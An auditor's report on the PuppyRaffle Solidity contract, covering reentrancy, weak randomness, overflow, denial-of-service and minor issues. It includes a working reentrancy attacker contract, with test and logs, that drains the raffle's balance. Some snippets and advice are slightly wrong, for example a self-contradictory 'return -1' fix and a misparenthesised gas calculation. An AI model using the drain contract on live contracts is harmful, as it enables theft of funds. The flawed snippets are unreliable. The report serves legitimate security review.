PuppyRaffle Audit Report

Version 1.0

Jack

July 25, 2025

PuppyRaffle Audit Report

Jack

July 25, 2025

Prepared by: Jack Lead Auditors: - Jack

Table of Contents

Protocol Summary

PuppyRaffle project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Jack team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

```
./src/
- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

None

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	2
Info	7
Total	14

Findings

High

[H-1] Reentrancy: State change after external call

Description:

Changing state after an external call can lead to re-entrancy attacks.

Impact:

A malicious contract can drain the balance of the contract by creating a recursive loop of function calls.

Found Instances

- Found in src/PuppyRaffle.sol Line: 118

  State is changed at: `players[playerIndex] = address(0) solidity payable(msg.sender).sendValue(entranceFee);`

Proof of Concept: 1. User enter the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle and calls `PuppyRaffle::refund`, drain the balance of the contract.

Proof of Code:

Here is the function of testing the reentrancy vulnerability:

Test Function

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(
            puppyRaffle));
        vm.deal(address(attacker), 1 ether);
        uint256 startingContractBalance = address(puppyRaffle).balance;
        uint256 startingAttackerBalance = address(attacker).balance;
        console2.log("Before attack, puppyRaffle balance: ",
            startingContractBalance);
        console2.log("Before attack, attacker balance: ",
            startingAttackerBalance);
        vm.prank(address(attacker));
        attacker.attack();
        uint256 endingContractBalance = address(puppyRaffle).balance;
        uint256 endingAttackerBalance = address(attacker).balance;
        console2.log("After attack, puppyRaffle balance: ",
            endingContractBalance);
        console2.log("After attack, attacker balance: ",
            endingAttackerBalance);
        assert(endingContractBalance == 0);
}
```

And the attacker contract:

Attacker Contract

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

```

```
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
32  }
```

After executing the above code, the contract balance of `puppyRaffle` is zero.

```
1  Logs:
2    Before attack, puppyRaffle balance:  4000000000000000000
3    Before attack, attacker balance:  1000000000000000000
4    After attack, puppyRaffle balance:  0
5    After attack, attacker balance:  5000000000000000000
```

Recommended Mitigation:

- Use the checks-effects-interactions pattern. This pattern moves all state changes before any external calls, making it impossible for a malicious contract to drain the balance of the contract. - Use OpenZeppelin's `ReentrancyGuard` to add a nonReentrant modifier to functions that make external calls. This will prevent recursive calls from the same external contract. - We should also move the event emission up as well.

Here show the code of `PuppyRaffle::enterRaffle`:

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  +        players[playerIndex] = address(0);
7  +        emit RaffleRefunded(playerAddress);
8          payable(msg.sender).sendValue(entranceFee);
9  -        players[playerIndex] = address(0);
10 -        emit RaffleRefunded(playerAddress);
11     }
```

[H-2] Weak PRNG in `PuppyRaffle::selectWinner` allows users to influence or predict the winnner and influence the winning puppy.

Description: Weak PRNG due to a modulo on block.timestamp, now or blockhash. These can be influenced by miners to some extent so they should be avoided. A predictied number is not a good random number. Malicous users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: 1. Validators can know the block.timestamp and blockhash ahead of time adn use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate there `msg.sender` value to result in their address being used to generated the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Do not use block.timestamp, now or blockhash as a source of randomness. Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to 0.8.0, integer overflow of `PuppyRaffle::totalFees` can result in a loss of fees.

Impact: In `PuppyRaffle::selectWinner`, totalFees is accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` will not receive any fees.

Proof of Concept:

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Recommended Mitigation: 1. use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library for the `PuppyRaffle::totalFees` function.

Medium

[M-1] Denial of Service via Unbounded Duplicate-Check Loop

Description:
The `PuppyRaffle::enterRaffle` function appends `newPlayers` to the global `players` array and then performs a nested loop over the entire `players` array to check for duplicates. As `players.length` grows, the gas cost of this $O(n^2)$ duplicate-check loop grows quadratically, eventually exceeding the block gas limit and preventing further entries.

Impact:
An attacker (or simply continued normal use) can grow the `players` array large enough that any subsequent call to `PuppyRaffle::enterRaffle` will run out of gas in the duplicate-check loops and revert. This results in a permanent Denial of Service: no new participants can ever enter, and normal raffle operations (e.g. selecting a winner) are effectively locked. So the attacker always wins the raffle.

Proof of Concept:
The following Foundry test reproduces and quantifies the DoS condition. It calls `PuppyRaffle::enterRaffle` twice with 100 new, distinct addresses each time and logs the gas cost. The second call's gas usage is dramatically higher—and will eventually revert entirely once `players.length` is large enough.

Test code

```
function testenterRaffleDos() public {
    vm.txGasPrice(1);

    // first gas cost
    uint256 accountAmount = 100;
    address[] memory players = new address[](accountAmount);
    for (uint256 i = 0; i < accountAmount; i++) {
        players[i] = address(uint160(i));
    }
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * accountAmount}(players
        );
    uint256 costGas = (gasStart - gasleft() * tx.gasprice);
    console2.log("Gas cost", costGas);

    // second gas cost
    uint256 gasStart2 = gasleft();
    address[] memory players_2 = new address[](accountAmount);
    for (uint256 i = 0; i < accountAmount; i++) {
        players_2[i] = address(uint160(i + 300));
    }
```

```
21      puppyRaffle.enterRaffle{value: entranceFee * accountAmount}(
            players_2);
22      uint256 costGas2 = (gasStart2 - gasleft() * tx.gasprice);
23      console2.log("Gas cost", costGas2);
24
25      // The second call must consume more gas than the first,
26      // and will eventually revert once the array is large enough.
27      assert(costGas2 > costGas);
28  }
```

You will get the following output:

```
1  Logs:
2    Gas cost 6503224
3    Gas cost 19010482
```

Recommended Mitigation:

1. Replace the nested loops with a constant-time duplicate check using a mapping: `javascript mapping(address => bool)private entered; function enterRaffle(address [] memory newPlayers)public payable { uint256 count = newPlayers. length; require(msg.value == entranceFee * count, "Incorrect ETH sent "); for (uint256 i = 0; i < count; i++){ address p = newPlayers[i]; require(!entered[p], "Duplicate player"); entered[p] = true; players .push(p); } emit RaffleEnter(newPlayers); }` 2. Enforce a per-transaction or total entrant cap to bound the maximum gas cost.

3. Clear or reset the `entered` mapping when the raffle ends to reclaim storage. 4. Consider allowing participants to enter the raffle multiple times. Different participants can then have the same address.

[M-2] Denial of Service via Trusted-Assumption on External Call (Untrusted Call + `require`)

Description:

In the raffle payout logic, the contract performs a low-level call to `winner.call{value: prizePool}("")` and immediately reverts the entire transaction if the call fails:

```
1  (bool success,) = winner.call{value: prizePool}("");
2  require(success, "PuppyRaffle: Failed to send prize pool to winner");
3  _safeMint(winner, tokenId);
```

This pattern assumes that the recipient address can always accept plain Ether transfers. If the `winner` is a smart contract whose fallback or `receive()` reverts (either by accident or by design), the entire raffle transaction will fail. As a result, prizes cannot be distributed, NFTs cannot be minted, and the raffle becomes permanently stuck.

Impact:

• A malicious or misconfigured “winner” contract can block payouts indefinitely, causing a Denial of Service (DoS) for all participants and the raffle organizer.
• Prize Pool Ether remains locked in the contract, and legitimate winners cannot claim their rewards.
• The raffle’s state may never progress past the payout step, halting future raffles or draws.

Proof of Concept:

```
contract RevertingWinner {
    // This fallback always reverts, simulating a broken
    // or intentionally malicious recipient.
    fallback() external payable {
        revert("Cannot accept funds");
    }
}

// 1. Deploy PuppyRaffle with sufficient prizePool.
// 2. Deploy RevertingWinner.
// 3. Force RevertingWinner to win the raffle.
// 4. Call raffle.drawWinner() or equivalent payout function.
// 5. Observe: the low-level call reverts, require() triggers,
//    and the entire transaction rolls back. Ether remains locked.
```

Recommended Mitigation:
1. Adopt the withdrawal (pull) pattern:
- Instead of pushing Ether directly to `winner`, record the owed amount in a mapping:
`solidity pendingPayouts[winner] += prizePool; _safeMint(winner, tokenId);`
- Expose a `withdraw()` function that lets winners pull their funds at will:
`solidity function withdrawPrize()external { uint256 amount = pendingPayouts[msg.sender]; require(amount > 0, "No prize to withdraw"); pendingPayouts[msg.sender] = 0; (bool sent,)= msg.sender.call{value: amount}(""); require(sent, "Withdrawal failed"); }`
2. If push-style transfers are required, use a gas-limited `.send()` or OpenZeppelin’s `Address.sendValue()` and handle failures gracefully (e.g., by crediting the amount to a withdrawal queue).
3. Always mint or update on-chain state *before* any external calls to avoid reentrancy and ensure state progress even if transfers fail.

Low

[L-1] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69 `solidity feeAddress = _feeAddress;`
- Found in src/PuppyRaffle.sol Line: 204

```
1          feeAddress = newFeeAddress;
```

[L-2] `PuppyRaffle::getActivePlayerIndex` returns 0 for inactive players, causing a player at index 0 to incorrectly think they are not entered the raffle

Impact:

A player at index 0 will incorrectly think they are not entered the raffle and enter the raffle again, waste of gas.

Proof of Concept: 1. User enter the raffle 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User enter the raffle again

Recommended Mitigation: 1. revert if the player is not active 2. change the function to return 0 if the player is not active, for example, `return -1;`

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of the pragma in your contracts instead of a wide version.

- Found in src/PuppyRaffle.sol: 2

[I-2] Using a outdate version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither for more details.

[I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to use CEI in Solidity to avoid reentrancy issues.

```
+         _safeMint(winner, tokenId);
          (bool success,) = winner.call{value: prizePool}("");
          require(success, "PuppyRaffle: Failed to send prize pool to
              winner");
-         _safeMint(winner, tokenId);
```

[I-4] Use of "magic" number is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instance: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2]: Storage Array Length not Cached

Calling `.length` on a storage array in a loop condition is expensive. Consider caching the length in a local variable in memory before the loop and reusing it.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 99

```
        for (uint256 i = 0; i < players.length - 1; i++) {
```

- Found in src/PuppyRaffle.sol Line: 100

```
            for (uint256 j = i + 1; j < players.length; j++) {
```

- Found in src/PuppyRaffle.sol Line: 133

```
1         for (uint256 i = 0; i < players.length; i++) {
```

[G-3] Dead Code

Functions that are not used. Consider removing them.

1 Found Instances

- Found in `PuppyRaffle::_isActivePlayer`

```
1     function _isActivePlayer() internal view returns (bool) {
```